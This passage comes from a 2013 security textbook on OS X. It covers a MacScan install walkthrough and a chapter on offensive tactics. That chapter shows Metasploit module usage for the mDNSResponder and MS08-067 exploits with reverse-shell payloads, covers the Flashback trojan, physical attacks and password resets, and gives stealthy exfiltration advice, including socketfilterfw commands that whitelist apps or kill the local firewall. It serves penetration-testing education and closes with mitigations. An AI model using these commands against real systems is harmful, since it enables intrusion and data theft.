as keystroke loggers and Trojans. For a list of the spyware and malware currently
addressed by the software, point your browser at http://macscan.securemac.
Once the software is downloaded, you’ll find yourself with a standard Mac
disk image (.dmg file). Double clicking on this image will open the initial
installation window, shown in Figure 6.25. Just click on the Installer Package
and the software will begin the installation process.
FIGURE 6.25 MacScan Installation
CHAPTER 6: Defensive Applications
The installation process for MacScan is different than that seen in PrivacyScan.
This is primarily because of the delivery method for the software. While
you can purchase MacScan in a number of large retail chains, you’re only
able to purchase PrivacyScan directly from the AppStore. So the installation
mechanisms in MacScan feel more commercially packaged. Once you get the
installation started, you’ll find yourself with the standard package installation
page, with information on the software, as seen in Figure 6.26.
Just click Continue to move on in the installation process. The next step is the
Read Me file, which contains all the basic information on the software itself
(see Figure 6.27). There is some good information in this file, so you might
want to parse through it.
Again, just click on the Continue button to continue the installation process.
As with most commercial software packages, the user will find themself
confronted with a License Agreement. Feel free to read through the agreement,
but you’ll still need to click on Continue at some point to move on in the
process, as shown in Figure 6.28.
Mac OS X is a pretty clean operating system, and it tends to expect the same
things from each application that is installed within it. The choice of install
location is one of those items. Apple applies a standard format and partition
FIGURE 6.26 Installer Front Page
Examining Commercial Tools 127
FIGURE 6.27 MacScan Read Me File
FIGURE 6.28 Software License Agreement
CHAPTER 6: Defensive Applications
table to new Mac OS X based computers, with the primary partition named
“Macintosh HD,” by default. If you’ve performed any modifications to the
configuration of your hard drive, you may find yourself with different options
here. But clicking on Install here will begin the installation of the software
(see Figure 6.29).
The installation of the software is very quick, and ends in the traditional
manner. A bright green checkmark celebrates your success, and the MacScan
folder (located inside the Applications folder) will appear on your screen.
We’ve opened the MacScan2 folder in Figure 6.30, so you can see the contents
(see Figure 6.31).
Once you click on the file, it will quickly ask you a couple
of different questions. The first asks if you’d like to update the software’s
definitions and cookie blacklists. Click Yes here to ensure you software is as
up-to-date as possible. Once that’s done, you’ll find that another window
popped up at the same time, asking you how you’d like to run the software
(Figure 6.32). You have three choices, Purchase, Register, or Demo. If you
choose Purchase, you’ll be taken to the Website to purchase the appropriate
license. If you choose Register, you’ll be asked for your software key. And
finally, if you really only want to see what the software has to offer, choose
the Demo option.
FIGURE 6.29 Install Location
Examining Commercial Tools 129
For our purposes, we’re going to install a license key we’ve already got handy,
and get the software registered. Once we’ve done that, we’re rewarded with yet
another happy celebration text box (Figure 6.33).
The interface to the software is simple and clean. You’ll find most of the
information you want on the main Status screen, including the last date a scan
was run, the version of the MacScan engine, and the version of the definitions
and blacklist. See Figure 6.34 for an example.
Click on the Scan icon at the top and you’ll be presented with three scan
options. The first option, as seen in Figure 6.35 is a Quick Scan, which just
scans the folder for the current user. It’s not comprehensive to the drive, but it
FIGURE 6.30 MacScan2 Folder Contents
FIGURE 6.31 Update MacScan?
CHAPTER 6: Defensive Applications
does look at everyone accessible to the user account you’re logged in as at the
The second option is the Full Scan, which scans the contents of the entire
hard drive. If you’re the Administrator of the computer you’re attempting to
secure, choosing this will allow the software to look everywhere on the drive
for malware and spyware.
The final option is the Custom Scan mode. This mode lets the user or
Administrator run a MacScan against specific target folders on the hard drive.
This is great if you suspect a different user on the system may be compromised
by malicious software.
FIGURE 6.33 MacScan Registration Successful!
FIGURE 6.32 How to Run the Software?
Examining Commercial Tools 131
In keeping true to its ability to protect your privacy, like PrivacyScan, you can
click on the Web Files icon at the top of the window, where you’ll be presented
with a number of useful options, as seen in Figure 6.36. First of all, check the
boxes next to each brand of Web browser you have installed in Mac OS X.
FIGURE 6.34 Main MacScan Screen
FIGURE 6.35 Scan Options
CHAPTER 6: Defensive Applications
If you have multiple browsers, feel free to select them all, and MacScan will go
through each of them.
The second half of the window deal specifically with the types of files you want
to clean from the browsers you selected on the top half of the window. Pick and
choose what you like here, but bear in mind that cleaning these files may remove
any session information to online banks, stores, Web applications, social sites,
etc. If that happens, you’ll just need to log back in to the site in question.
The last icon on the top left hand is the Info button, and displays the screen
shown in Figure 6.37. There is a dropdown menu that’s worth exploring, as
it contains a list of all the spyware and malware the software looks for, and
provides a basic description of what each one does. Some items in the list
are Trojans, while others are keyloggers or spyware. Spend some time digging
through here, as there are some interesting tidbits of information stored here.
One of the best functions of MacScan is the ability to schedule scan dates
and times (Figure 6.38). You can select the days of the week you’d like the
software to scan the system, along with what time you’d like those scans to run.
Configure the scheduler as you’d like, and then click on the Save button. The
scans will run automatically until you stop them, or reschedule them.
The Last icon of use on the MacScan interface is the Preferences icon. Click-
ing on this brings up the small window shown in Figure 6.39. You basically
FIGURE 6.36 Web Files Options
Examining Commercial Tools 133
have two options: Detect remote administration programs and Automatically
check for program updates. In our example, you’ll see we’ve set the program
to automatically check for updates, but we’re remiss to allow remote
administration programs to interact with our security application.
FIGURE 6.37 Info on Spyware
FIGURE 6.38 MacScan Scheduler Window
CHAPTER 6: Defensive Applications
Running your own scan with the software is fairly simple. In Figure 6.40
we’ve started a Quick Scan just to give you an idea of what the interface looks
like. You can cancel the scan at any time you like by clicking on the Cancel
FIGURE 6.40 Running a Scan with MacScan
FIGURE 6.39 MacScan Preferences Window
Conclusion 135
We’ve tried to provide the reader with a number of options for defending their
system against unwanted compromise. We’ve covered the appropriate use of
access control, network traffic restriction, how to remove device drivers, and
even the installation of some useful software packages.
Regardless of what configurations you deem appropriate for your environment,
or whether you choose commercial or freeware defensive applications, the
end goal is always the same; the safeguarding of your data. If you take the
appropriate steps now, you could save yourself a lot of pain and embarrassment
It’s also worth noting that we’ve only touched on the possibilities in this
chapter. There are tons of other options for configuration or software. Find the
ones that work best for you. And if you find something that works well for you,
be sure to tell your friends about it. Your friends will appreciate it, and it will
make the Internet a safer place to browse.
This page is intentionally left blank
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
Offensive Tactics
Introduction .............137
The Exploits ...................139
mDNSResponder UPnP
Location Exploit .................... 139
Using the Ammo in
the Weapon ....................143
MS08-067 “Old reliable” ........ 146
Web Exploits .......................... 148
Physical Attacks .................... 152
Data Gathering and
Extraction ............................... 153
Summary .................156
References ...............157
You’ve made it this far and now the true fun begins; breaking things or at least
thinking of how to break things. From the title of the chapter, we see we’ll be
focusing on going on the offensive. But to truly understand how to attack, one
must understand why the attack works and how to prevent that attack from
occurring. We will illustrate this by splitting the chapter into three sections:
Attack Types
Here we will describe, in a general sense, how the attack works, what
it’s meant to do, possible pivot points, and the mechanics of its inner
Stealing Data
How to manipulate the system to remove the data you’ve collected.
This is, of course, our closing comments for the chapter and where we will
discuss possible mitigations.
To caveat this chapter, we will not focus strictly on attacks that you can attempt
using OS X as a target. It is good to have at least a cursory knowledge of the
various types of attack to better understand the threats that may face your
network or your machines.
So let’s get started with breaking down the basic attack methodology.
We start the Attack Cycle as seen in Figure 7.1 by analyzing and identifying
the target. If you’ve ever heard the saying, “measure twice, cut once” that is
what we are attempting to do by analyzing the target. The thought here is,
we’ve discovered a vulnerable target through the use of a vulnerability scanner,
a public announcement of acquired systems, hard searching, or just dumb
luck. We need to verify the target is actually vulnerable to the type of attack we
CHAPTER 7: Offensive Tactics
want to launch. Remember, you can do as much research as you want without
running the risk of being discovered (most of the time), but as soon as you
launch an exploit against the target you could be on the defender’s radar.
So we have searched high and low and we’ve determined the target machine
we’re after is vulnerable to the mDNSResponder remote buffer overflow (this
is an old OS X 10.4.0–10.4.7 exploit from 2007). We’ve determined this by
interpreting Nmap results, or specific manual probes like banner grabbing
from listening services. Remote exploits, like this one, don’t require a local
presence on the system to trigger the vulnerable condition.
Local exploits are exploits such as privilege escalations or getting a user to
interact with your evil code, as is done with many Adobe vulnerabilities. As
an attacker, a remote exploit is something we cherish, as most exploits in this
category (assuming the exploit is stable and doesn’t crash the target) will result
in a shell on the target without triggering most anti-virus clients. The most
popular remote exploit, that we will analyze later, is MS08-067. The MS08-067
FIGURE 7.1 The Attack Cycle
Vulnerability databases can be found multiple places such as US-CERT and Mitre, but these
will generally only contain information about the vulnerability such as versions (OS X), types
(buffer overflow), date reported, patch links, etc. Sites like Exploit-DB ( and
MilW0rm (if you find an archive of it) will contain actual exploit code written by contributors
and is much more useful for our purposes.
P.S. This has to be said, but use common sense with exploit code you find on the Web. Unless
you wrote it yourself or you can decipher the source we would recommend you always run it in
a VM on a machine you don’t value. Precompiled exploit code can be very dangerous.
Introduction 139
exploit is for Windows XP SP2 or older, but is by and large the most stable
remote exploit example, and will give us some great examples to work with as
you gain a better understanding of the exploit process.
Back to the point of the story, it’s time for the fun part, the exploit. The exploits
themselves we will analyze later in the chapter. People have written shelves full
of really good books on how to write exploits (mentioned at the end of the
chapter) if you’re interested in learning more.
The Exploits
mDNSResponder UPnP Location Exploit
So what is an exploit and how are they used? We briefly covered this in previous
Chapters, and a bit here, but the simple answer is “an exploit is a piece of code
that will trigger a fault in a vulnerable application.” The vulnerability can be
caused by a number of different conditions, but for our example we’re going
to be using the Mac OS X mDNSResponder UPnP Location Overflow from
the Metasploit framework (
mdns/upnp_location). This vulnerability is from 2007, but this exploit serves
as a great example of how a remote buffer overflow takes place and will get us
in the right frame of mind for the rest of the Chapter.
What this looks like, in practice, is much like what we can see in Figure 7.2.
The code appears to be gibberish if you have not been exposed to some form
of coding in the past, but what it is doing in the example above is triggering
a buffer overflow condition by sending certain characters, represented by line
usn =A” * 556 + payload.encoded for PowerPC targets, to the mDNSResponser
port listening on the victim machine. So let’s break this down farther and look
at this code one piece at a time.
This very simple statement, shown in Figure 7.3, sets a variable in the ruby
framework datastore for RPORT (remote port) to the upnp_port variable which
is found by another function in this exploit. The second part of the statement
opens a udp socket connection using the function connect_udp().
We can tell from the section of exploit code shown in Figure 7.4 that this could
exploit two possible CPU architecture targets. The code is doing a small if-else
if-end statement to determine what the target is based on the target[“Arch”]
variable. The target[] array is a collection of information determined by the
Metasploit framework’s ability to recognize certain facts about the target
From here a determination is made in the code if it is running the older
PowerPC processor or the newer Intel based x86 processor. The default of
this module (determined in declared statement at the top of the module
CHAPTER 7: Offensive Tactics
FIGURE 7.3 mDNSResponder Socket Connection
FIGURE 7.2 mDNSResponder Exploit from the Metasploit Project Framework
Introduction 141
script—not shown) is to target the PowerPC architecture as it was the default
chip architecture for OS X 10.4 when the operating system was released.
After the determination is made on which architecture the target is, it must
then properly encode the payload and determine the memory offset to trigger
the exploit. We will cover buffer overflow exploits in the next Chapter on
Reverse Engineering in greater detail, but the basis of a buffer overflow is that
you are cramming more bits into a buffer than what was allocated to that
An example of this would be if you had string buffer declared in C code that
is meant to hold 20 bytes and you sent it 21 bytes of information, a potentially
unsafe string operation could overwrite the buffer and place your code into an
unintended (by the original programmer) memory segment. A pseudo-code
example of the buffer overflow taking place in the vulnerable mDNSResponder
would be:
What this is demonstrating in Figure 7.5 is a very simplistic representa-
tion of a very complex overflow condition happening inside the Universal
FIGURE 7.4 Exploit Code Detail from the mDNSResponder Vulnerability
CHAPTER 7: Offensive Tactics
Plug-and-Play (UPnP) Internet Gateway Device as you will see if you look
at the CVE (2007–2386) listing at Mitre ( What is occurring in
our pseudo-code example is that the example application at some point has
character buffer set to accept no more 555 bytes of information.
The application is expecting some information on the listening socket and
when it receives it, it will then string copy (strcpy) the information to the buffer.
In Figure 7.4 we can see that for the PowerPC architecture exploit is sending
556 “A” characters plus the payload thus it will overflow our fictitious buffer by
1 byte into the next memory segment. We will cover basic buffer overflows in
more detail in the Reverse Engineering Chapter.
Let us move on to the last part of the mDNSResponder exploit we’re going to
analyze before we get into the meat of the chapter. We’ve seen the previous
figures that it’s opening a socket, making a determination as to what it needs to
send for the payload, and then it’s doing something. We can see in Figure 7.6
below what the last section of the module is doing to trigger the exploit.
In Figure 7.6 we see the UPnP reply being built by the module in preparation
for sending it to the mDNSResponser listening on the vulnerable target. The
Unique Service Name header (USN) is the field we are attempting to over-
flow with this exploit (UPnP Forum). The implementation of the mDN-
SResponder in 10.4 incorrectly parsed the USN field resulting in the buffer
FIGURE 7.5 Buffer Overflow Pseudo-code
FIGURE 7.6 mDNSResponder Module Sending the Exploit
Introduction 143
overflow condition we have been illustrating with this module. The module
finishes preparing the response and then attempts to send this special reply
to the target with the socket.put(upnp_reply) line. Assuming all goes well you
should have a target returned to you via whatever shell type you chose to send
along. We’ll briefly cover the Metasploit shells in the upcoming section on
general use of Metasploit.
Using the Ammo in the Weapon
To kick off this we need to go into our Backtrack image and open a terminal.
Inside the terminal as we have before we will need to type msfconsole at the root
prompt, this will launch Metasploit for u. When the Metasploit framework
(msf) has fully loaded you will see a screen (possibly with different art) much
like Figure 7.7.
We’ve seen the module guts so now we want to see how it is actually
implemented in an exploit framework like Metasploit. Again, this is not
a book on Metasploit so we will cover usage of the framework rather quickly.
For more information on how to use Metasploit more effectively consider
reading over Offensive Security’s page (
metasploit-unleashed/Main_Page). As a side note, it’s always a good idea to
keep your framework using the msfupdate command from a normal terminal
FIGURE 7.7 Metasploit Start Screen from msfconsole
CHAPTER 7: Offensive Tactics
prompt. We tend to keep our development sever a few updates behind just to
make sure an update will not interfere with anything we’re working on.
Metasploit works in four steps; pick the module, pick the payload, fill in the
options, and fire away. It is quite simple to use, harder to truly master, but very
powerful in the hands of hackers of all skill levels due to its flexibility and
In Figure 7.8 we use the command show options to determine what options
have been prefilled by the module and what options we’ll need to set ourselves
for the module to successfully launch. We can also see that we’re missing the
second piece of the complete package, the payload, which is illustrated in
Figure 7.9, after we set all of the appropriate options for the module.
The commands needed to setup Figure 7.9 in Metasploit are as follows:
set LHOST X.X.X.X—This option is our Local Host address, if you type ipconfig
from within msf console you should be able to determine what your eth1
external interface is. That is the address you need to put into the LHOST variable.
If you’re going to be doing multiple exploits and your external interface is not
going to change it is a good idea to use the global variable commands for msf,
such as setg LHOST X.X.X.X (you can unset the variable with unsetg) which will
allow you to not have to type this command for every module you use.
FIGURE 7.8 upnp_Location Module Blank Options
Introduction 145
Set RHOST X.X.X.X—This option is your vulnerable target, in this case our
target was We don’t recommend setting the global variables
for the R* variables in an actual penetration test due to the need to constantly
change targets.
Set PAYLOAD generic/shell_reverse_tcp—This is the payload option and is the
block of code we were missing from Figure 7.8. This option is important to
understand due to the fact that once the exploit is triggered this will be the
method in which you will be communicating and interacting with the remote
system. The preferred shells are almost always meterpreter shells due to their
enhanced feature sets, but sometimes the target you’re attacking cannot handle a
meterpreter shell and you will need to use a standard generic Linux based shell.
FIGURE 7.9 upnp_Location Module with All the Options Filled Out
If you compromise a Windows target with a payload containing a generic Win32 shell it is pos-
sible to attempt to “upgrade” that shell to a meterpreter shell by backgrounding your interactive
session with Crtl+Z and issuing the command sessions–u <session number>, this will attempt
to send the meterpreter payload over. If it works you receive a great interactive shell, if it doesn’t
you are stuck with what you have.
CHAPTER 7: Offensive Tactics
What we’ve done in this example is setup all the steps described above and
we are now ready to exploit the target. Using the command exploit. We’ll be
covering the shell interaction with an operating system shortly after we analyze
the ms08-067 vulnerability.
In analyzing the mDNSResponder vulnerability we’ve gained basic grasp on
the concepts of how an exploit functions and more specifically how to use
that exploit to attack our target. This is far from the only OS X vulnerability
to come out in recent years, but it is one of the few that is remote and targets
something implement by Apple in the operating system. A good majority of
the vulnerabilities we will cover in the rest of the chapter tend to be third party
applications or browser vulnerabilities in Firefox and Safari.
MS08-067 “Old reliable”
The reason we’re taking the time to point out vulnerabilities in Windows is due to
the fact that even though an exploit like MS08-067 is over almost 4 years old and
rated a critical vulnerability by Microsoft (Microsoft), it is still found unpatched
in corporate environments. In our own experience we find this vulnerability in
the majority of large corporations that we perform penetration testing for.
The typical response we hear from individuals and enterprise administrators
is along the lines of, “we’ve got firewalls, its fine” or “we’re too big to patch
everything.” Inevitably we will end up finding these boxes on their network
and lay waste to the rest of their environment, but why? For those who are
not familiar with MS08-067, it is/was a flaw in the implementation of the
Windows Server Service, which when confronted with a specially crafted
Remote Procedure Call (RPC) packet, would fall flat on its face and allow
remote code execution resulting in system level access. This vulnerability was
so prolific that the Conficker Worm actually used it as one of its methods to
propagate between infected and clean PCs (McAfee Labs).
So let’s take a quick look at the Metasploit module to illustrate just how
insanely easy this exploit is to trigger as a penetration tester.
As we can see in Figure 7.10 the exploit module does not have many options
to set. In this case we have already used the setg command to set our LHOST
variable so all we’re left with is entering the target with the RHOST variable
like we did in the mDNSResponser module. Because, this is a Windows exploit
module we can use meterpreter for our shell choice as noted in Figure 7.11 by
Payload options (windows/meterpreter/reverse_tcp). This is as we mentioned previ-
ously the ideal shell for us as attackers due to its ability to run auxiliary modules.
In Figure 7.11 we see that our exploit was successful, as it finished sending the
payload stage as we see the message “Meterpreter session 2 opened…” As long
as we see the meterpreter command prompt denoted by meterpreter> we are
successfully interacting with the target host.
Introduction 147
Figure 7.12 is the result of running the ls command on our target system. What
is important to note as you continue to play with Metasploit and meterpreter
is that you are “using” a Linux system even when interacting with the target
Windows box. Meterpreter will interpret your Linux commands like ls and ps
FIGURE 7.10 MS08-067 Exploit Module
FIGURE 7.11 Shell Resulting from Successful MS08-067
FIGURE 7.12 ls Command Being Run in Meterpreter
CHAPTER 7: Offensive Tactics
and run the equivalent Windows command to display the result to you. If you
wish to see some more of the options available to you in the meterpreter shell
just type ? Into the interactive meterpreter shell as shown in Figure 7.13.
To give you a small preview of the next Chapter on Reverse Engineering which
contains an assembly programming overview, we’ve taken a small excerpt from
the MS08-067 exploit module source code.
Figure 7.14 shows only a small portion of the exploit function within the
MS08-067 exploit module source code. What we can see from this little bit
is a part of the Return-Oriented Programming (discussed again in Chapter 9)
exploit technique based on the version of the Windows operating system you
are attacking, 5.1.2600.2180 for instance is Windows XP and 5.1.2600.5512 is
Windows XP SP3. These numbers pertain to the driver versions of the operat-
ing system. Knowing the exact operating system is critical to understanding
how and where to interact with the stack and heap. The full module code can
be found in the Metasploit framework on backtrack or online at the Metasploit
exploit directory (
Web Exploits
The next “class” of exploit we’re going to look at as we continue on the Exploit
phase of our attack cycle are Web exploits. If you were to go to Exploit-DB
( and do a quick search for Safari or Firefox you
would most likely be presented with pages of exploits ranging from rela-
tively recent to fairly old. What you need cognizant of when looking through
exploit databases is that you must carefully read what the exploit actually
FIGURE 7.13 Meterpreter Interactive Command Options
Introduction 149
affects in terms of version and what conditions must be satisfied to trigger the
vulnerability. Lots of the exploits in the database are proof of concept code or
may be one in the chain of exploits to result in root access.
As we can see in Figure 7.15, there was a new exploit posted on 2012-05-13
pertaining to Firefox 8 and 9 even though the current version of Firefox is 14.x.
What this tells us is that researchers are constantly posting new exploits, but they
may have been researching it on an older version of the software. This is not neces-
sarily bad news as we pointed out earlier in the chapter, patching is not necessarily
a strong suit for most companies. Take some time to research your target and make
sure you pick an appropriate exploit to match your target (if one is available).
FIGURE 7.14 MS08-067 Exploit Source Code
CHAPTER 7: Offensive Tactics
Let’s take some time to examine the various components we’ll be looking at
when talking about Web related vulnerabilities. We have several possible attack
vectors at play when we talk about Web related vulnerabilities, ranging from
the browser itself, plugins, or the various trird party modules the browser loads
to improve your browsing experience. Some possible attack vectors to consider
with 3rd party applications in the browser are Java, JavaScript, and Adobe (Flash
and PDF).
The reason these technologies are mentioned constantly is they are always
being explored by researchers, due to their almost ubiquitous presence in our
lives as we move about the Web. There is always money to be made when you
have something that affects millions of users and is unknown to the application
owner, or if there is no patch (0-day). We will continue to see exploits released
at an alarming rate as these applications become more interconnected and
more complicated than they already are.
We’re going to take a moment to examine a very current topic when it comes
to Java vulnerabilities, the Flashback Trojan (Flashback.K variant). If you are
a Mac user and you have not disabled your java client or are still in the frame
of mind that you are safe, because you are on a Mac may we suggest going to
FIGURE 7.15 Exploit-db Displaying Firefox Results
Introduction 151
Google and searching for “flashback trojan” to read some of the hysteria. As
security people it is our job to take an analytical approach to even the worst
“sky is falling” moments in security such as the RSA compromise last year.
Let’s get started taking a look at Flashback, what it is, how it work, and what
you can do about it. F-Secure was one of the first to discover the initial version
of a trojan they named BASH/QHost.WB in late September, early October of
2011 masquerading as a Flash Player installer package, shown in Figure 7.16,
on a rather malicious, but innocuous looking Website.
BASH was downloaded and installed due to the user typing in their password
to allow the browser to install the malicious plugin. The trojan would then
modify the host file to redirect the user’s browser to their fake version of
Google, to what ends we are not sure (Brod).
BASH could have been one of the first iterations of the Flashback trojan, as
in the middle of September of 2011 security firm Intego reported discovery
a slightly more complex trojan that used the same type of fake Flash Player
installer to trick users into installing it. Intego named this trojan OSX/
Flashback.A (Peter James).
This is a common technique for Web traps and drive-by attacks to exploit.
There may be an exploit in the browser or related plugin, but if they can get the
user to install the malicious software why spend the extra effort to waist a good
exploit? Remember from the prospective of an attacker with an undisclosed
FIGURE 7.16 BASH/QHost.WB trojan Installer Source Credit (F-Secure)
CHAPTER 7: Offensive Tactics
exploit, that is a one shot pistol. Once that exploit code has been released into
the wild it will eventually end up in anti-virus signatures.
That being said, back to Flashback, the newer variants of Flashback have been
going back and forth with Apple and Oracle to determine if they can patch
and remove the malicious code before it updates again (Lance Whitney). The
problem with this particular piece of malware, and most malware, is that it is
growing and evolving faster than the defenders can keep up. For a period of
time one of the variants of the Flashback trojan actually switched to injecting
code directly into Java Virtual Machine before Apple released a patch in April
of 2012 for Java.
The newer versions of the Flashback code decided to upgrade from just
redirecting the browser to attempting to go after credentials stored on the
system and exfiltrate user data back to its command and control servers. The
Flashback.K variant also makes use of the Java exploit in CVE-2012-0507 for
delivery. The malware targeting OS X and iOS will only get more advanced as
Apple gains footing in the market so be prepared if you are not already.
Physical Attacks
We’ve discussed remote attacks against running OS X services, and we have
discussed attacks requiring user interaction via Java on a browser, but those are not
the only attack vectors we should be concerned about. Physical access to hardware
is the most powerful attack vector we have as attackers. From there we could use
a tool to attempt gain access to the main memory through Direct Memory Access
If you’ve ever wondered why and how malicious software is named the way it is you can read
Microsoft’s Malware Protection Center (MMPC) Naming Standards for how Microsoft names
malware (
Do to Apple’s restrictions on the App Store any anti-virus distributed through the App Store will
be slow to get new virus definitions and will not be able to perform most types of real time mon-
itoring we’re accustomed to do to their inability to install kernel extensions and updated with
a mechanism other than the App Store (Charles Arthur). This means that a user needs to install
the antivirus manually from another source to get “full protection. This goes directly against
Apple’s pushing for everyone to install all apps from the App Store and only the App Store.
Introduction 153
(DMA) as Firewire and Thunderbolt both are physically connected to the bus
unlike USB which is routed through the CPU to control its bus.
Commercial companies have had an eye on this and have even exploited
weaknesses in Apple’s own features to extract unencrypted passwords from
memory via Firewire (Don Reisinger). This vulnerability that first appeared
versions of OS X prior to 10.7, which means this is not new to Apple, and is
caused by the way OS X must store user passwords when they have “automatic
login” enabled. When the system is asleep it stores the password in memory to
be able to log you back in when you wake the system up.
This is “vulnerability” is no different from when Windows stores a user
password in the registry. In Windows the user has the ability to store their login
and password in a protected portion of the registry called Secrets. If you have
system (root) level access to the operating system you can clearly read Secrets
or in the case of Apple, if you have access to main memory by way of DMA
through the Firewire port. You can defend yourself easily from these types of
attacks by disabling the Firewire port and by not enabling automatic login.
There is also the non-technical style of attack where an attacker simply resets
your password from the console during reboot. Using a variety of Apple
supported methods ( such as the Mac
OS X install disk. In general an attacker simply needs to have access to your
computer and follow three steps:
1. Insert the install disk, reboot the Mac, and hold the C key down.
2. Go to the utilities menu and use the Password Reset Utility shown
in Figure 7.17.
3. Reboot again and login with new password.
An interesting quirk in OS X 10.7 and above, if you can gain access to a user’s
Apple ID and password it is possible to use that to reset their OS X password
if they permitted that during install. We would advise that you not hook in an
account that could be compromised to your locate administrator password
as well as the attacker need not be physically at your computer to reset the
password, they could just wait with a keylogger running for you to log into
Apple (though you may have bigger problem at that point).
Data Gathering and Extraction
As an attacker it’s great to get root access to a system, high-fives and handshakes
will surely ensue in dimly lit rooms for a particularly good prize, but that is
only the mid-point in our quest. Once we’re on a system we must think of ways
to gather data quickly as we may not be on the system long; our connection
could break, the computer could drop the process we’re in, or we could be
CHAPTER 7: Offensive Tactics
At the heart of the matter there are only a few directories (which we have
looked at in other Chapters) that matter to us, the main ones being the
home directories of the users and the other being to dump password files
for cracking. These two main directories are usually then extracted to our
attacking system to be mulled over to find more password or other possible
directories where information is being stored on the local machine or on the
Though a question remains as to what to do to get this information off the
system we’re attacking. So we’ve copied all of our “acquired” data into once
place and we’ve packaged it up into a tar ball (.tar.gz file) and we’re waiting
to exfiltrate it, but we run into an issue, we can’t communicate directly to
our machine as that would be a bit too obvious if we just FTP the data to
FIGURE 7.17 OS X Reset Password Utility Credit: Apple
Introduction 155
In most home user environments you can move around large files and the
user would be none the wiser as most users lack the utilities to detect data
exfiltration. In corporate environments we’ve discovered that even if they have
a million dollars worth of sensors in place, odds are it’s not being watched very
well for anomalous data transfer into and out of the environment, but there
are always exceptions.
Let’s take some time and look at a few of the technologies that could be
hindering our progress (in a corporate environment) or ways that we can
remain discreet.
Local Firewall—In the case of the local OS X firewall we must look at it from
the prospective of its purpose. It is a basic (very basic) rule based application
layer firewall. It is meant to keep the system “hidden” on the network and only
permit communication to and from the system from authorized applications
and listening services. The great part about already being on the system is that
we can do a few things to the firewall; add our own authorized applications,
use one that is on the trusted apps list, or just turn the firewall off.
List Trusted Applications: /usr/libexec/ApplicationFirewall/socketfilterfw
--listapps /Applications/
Add Application: /usr/libexec/ApplicationFirewall/socketfilterfw --add /
Remove Application: /usr/libexec/ApplicationFirewall/socketfilterfw
--remove /Applications/
Unblock an application: /usr/libexec/ApplicationFirewall/socketfilterfw
--unblockapp /Applications/
Kill firewall: /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate
Remember the goal is to be stealthy so use the least noticeable tactic first, like
see if they have IRC, Skype, AIM, or some other program capable of file transfer
added to the firewall trusted applications list to be able to get your files out
with. If you wish to look at the other commands in socketfilterfw you can use
the -h option.
Corporate Firewall—Unless there is something seriously wrong with the
corporate firewall you will most likely not be able to manipulate it in the
same way that you are able to manipulate the local firewall. Good news for
you though, most corporate firewalls are designed to keep people out, not
keep data in. What is means is that if you are having trouble getting your data
out on non-standard ports, switch to standard traffic ones such as 22 (SSH),
80(HTTP), and 443(HTTPS).
If that does not work, set up a listener on your internet facing system and
attempt to make connections to it to find an open port on the firewall. If, on
CHAPTER 7: Offensive Tactics
the other hand, they let traffic out on port 22, jump for joy and SCP the data
from your target to your dummy box in the aether. Never send traffic directly
back to yourself if you are attempting to be stealthy, you could get yourself
blocked if they find you.
Outbound Proxy—You’ve run into a situation where you have tried to get out
on 22, but the firewall will not let you. You’ve tried to send data across 80 and
443, but the packet filtering firewall recognizes those are not Web requests or
it will not allow outbound connects and forces you to go to the proxy. There
are couple alternatives here we can use to possibly get the data out, we could
attempt to send our traffic over port 53 (DNS) or we could setup a “legitimate”
Website and upload our file over SSL to it.
While setting up a Website to upload a file is achievable without too much dif-
ficulty, sending a file over port 53 and disguising it as DNS traffic would require
an effort beyond the scope of this book, fear not though, we have an option for
DNS. For DNS you can look at a tool (set of scripts) like OzymanDNS by Dan
Kaminsky. A great tutorial is available by Andreas Gohr (http://www.splitbrain.
The moral of the story when it comes to exfiltration of data is to be quietly
persistent. There will almost always be a hole in the armor somewhere or some
process you can access that will allow you to send data outbound at a given
time during the day (like normal work hours). Understanding your target’s
business processes (where possible) is a great way to discover faults in those
processes to leverage against them.
We’ve come to the end of yet another Chapter in your continual journey to
understanding not only OS X related security topics, but a greater understanding
how all these security vulnerabilities play out in the big picture. We’ve covered
some examples of remote exploits, Web exploits, physical exploits, and ways to
take data from the targets that we’ve successfully exploited.
What of the defense? The easiest defense of all is to mind what’re doing on
the internet and in general. There will always be a circumstance to which you
cannot defend your workstation from danger such as 0-days or leaving it at the
bar when you’ve had a bit too much to drink, but you can mitigate the impact
of compromise. Always keep at least the base level of security; what we mean
by this is if you cannot run something better than the built in Application
Firewall, at least use it to help deter network based attacks. Antivirus has never
been particularly good at stopping malware on OS X (or Linux) systems, but
there are options like ClamAV and most of the large antivirus companies such
as Avast, McAfee, and Symantec offer products.
From the prospective of corporate security attempt to mitigate damage as
much as possible by implementing measure to prevent the loss of data. Some
data may escape due to user error, but don’t lose plans for the next stealth
fighter or a 100 million credit-cards, because you didn’t implement basic
security tools and techniques such as a network based packet filtering fire-
wall, outbound traffic proxy, and least privilege principle (remember the clerk
usually does not need to be root). Always remember that security products
are never perfect, people will always do what they want, and someone will
eventually get in, but when they do you can limit the impact and make them
not want to come back.
Brod (n.d.). Trojan:BASH/QHost.WB. Retrieved from F-Secure: <
Arthur, C. (n.d.). Apple readies Flashback malware removal tool: but how big is the risk?
Retrieved from The Guardian: <